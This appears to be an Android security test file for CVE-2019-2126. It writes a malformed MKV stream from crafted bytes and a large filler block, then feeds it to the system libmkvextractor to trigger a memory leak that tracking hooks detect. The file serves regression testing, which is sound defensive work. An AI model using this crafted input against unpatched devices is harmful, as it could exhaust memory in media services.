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129 lines
4.0 KiB
129 lines
4.0 KiB
/**
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* Copyright (C) 2020 The Android Open Source Project
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*
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* Licensed under the Apache License, Version 2.0 (the "License");
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* you may not use this file except in compliance with the License.
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* You may obtain a copy of the License at
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*
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* http://www.apache.org/licenses/LICENSE-2.0
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*
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* Unless required by applicable law or agreed to in writing, software
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* distributed under the License is distributed on an "AS IS" BASIS,
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* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
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* See the License for the specific language governing permissions and
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* limitations under the License.
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*/
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#include "../includes/common.h"
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#include "../includes/memutils_track.h"
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#include <datasource/DataSourceFactory.h>
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#include <dlfcn.h>
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#include <media/DataSource.h>
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#include <media/IMediaHTTPService.h>
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#include <media/stagefright/MediaExtractor.h>
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#include <sys/mman.h>
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unsigned char mkvDataStart[] = {
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0x1A, 0x45, 0xDF, 0xA3, 0x10, 0x00, 0x00, 0x0A, 0x42, 0x82, 0x10, 0x00,
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0x00, 0x04, 0x77, 0x65, 0x62, 0x6D, 0x18, 0x53, 0x80, 0x67, 0x10, 0xF4,
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0x24, 0x49, 0x16, 0x54, 0xAE, 0x6B, 0x10, 0xF4, 0x24, 0x41, 0xAE, 0x10,
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0xF4, 0x24, 0x3C, 0xD7, 0x81, 0x01, 0x83, 0x81, 0x01, 0xE0, 0x10, 0x00,
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0x00, 0x03, 0xB0, 0x81, 0x01, 0x6D, 0x80, 0x10, 0xF4, 0x24, 0x28, 0x62,
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0x40, 0x10, 0xF4, 0x24, 0x22, 0x50, 0x34, 0x10, 0xF4, 0x24, 0x19, 0x42,
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0x54, 0x81, 0x01, 0x42, 0x55, 0x10, 0xF4, 0x24, 0x00};
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unsigned char mkvDataEnd[] = {0x42, 0x55, 0x81, 0x61, 0x42, 0x54,
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0x88, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
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0xFF, 0xFF, 0xFF, 0x50, 0x35, 0x80};
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#define LIBNAME "/system/lib64/extractors/libmkvextractor.so"
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#define LIBNAME_APEX \
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"/apex/com.android.media/lib64/extractors/libmkvextractor.so"
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#define LEAK_SIZE 16000000
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#define LEAK_DATA 0x61
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#define TMP_FILE "/data/local/tmp/temp_cve_2019_2126"
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using namespace android;
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bool is_tracking_required(size_t size) { return (size == LEAK_SIZE); }
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int main() {
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#if _64_BIT
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GetExtractorDef getDef = nullptr;
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FILE *fp = fopen(TMP_FILE, "wb");
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if (!fp) {
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return EXIT_FAILURE;
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}
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char *appendArray = (char *)malloc(LEAK_SIZE);
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memset(appendArray, LEAK_DATA, LEAK_SIZE * sizeof(char));
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/* Write mkv stream */
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fwrite(mkvDataStart, 1, sizeof(mkvDataStart), fp);
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/* Append a bitstream which causes memory leak */
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fwrite(appendArray, 1, LEAK_SIZE, fp);
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fwrite(mkvDataEnd, 1, sizeof(mkvDataEnd), fp);
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free((void *)appendArray);
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fclose(fp);
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void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
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if (!libHandle) {
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libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
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if (!libHandle) {
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remove(TMP_FILE);
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return EXIT_FAILURE;
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}
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}
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getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
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if (!getDef) {
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remove(TMP_FILE);
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dlclose(libHandle);
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return EXIT_FAILURE;
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}
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sp<DataSourceFactory> dsf = DataSourceFactory::getInstance();
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sp<DataSource> dataSource = dsf->CreateFromURI(NULL, TMP_FILE);
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if (dataSource == nullptr) {
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remove(TMP_FILE);
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dlclose(libHandle);
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return EXIT_FAILURE;
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}
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void *meta = nullptr;
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void *creator = nullptr;
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FreeMetaFunc freeMeta = nullptr;
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float confidence;
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if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
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creator = (void *)getDef().u.v2.sniff(dataSource->wrap(), &confidence,
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&meta, &freeMeta);
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} else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
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creator = (void *)getDef().u.v3.sniff(dataSource->wrap(), &confidence,
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&meta, &freeMeta);
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}
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if (!creator) {
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remove(TMP_FILE);
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dlclose(libHandle);
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return EXIT_FAILURE;
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}
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CMediaExtractor *ret = ((CreatorFunc)creator)(dataSource->wrap(), meta);
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if (ret == nullptr) {
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remove(TMP_FILE);
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dlclose(libHandle);
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return EXIT_FAILURE;
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}
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if (meta != nullptr && freeMeta != nullptr) {
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freeMeta(meta);
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}
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remove(TMP_FILE);
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dlclose(libHandle);
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#endif /* _64_BIT */
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return EXIT_SUCCESS;
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}
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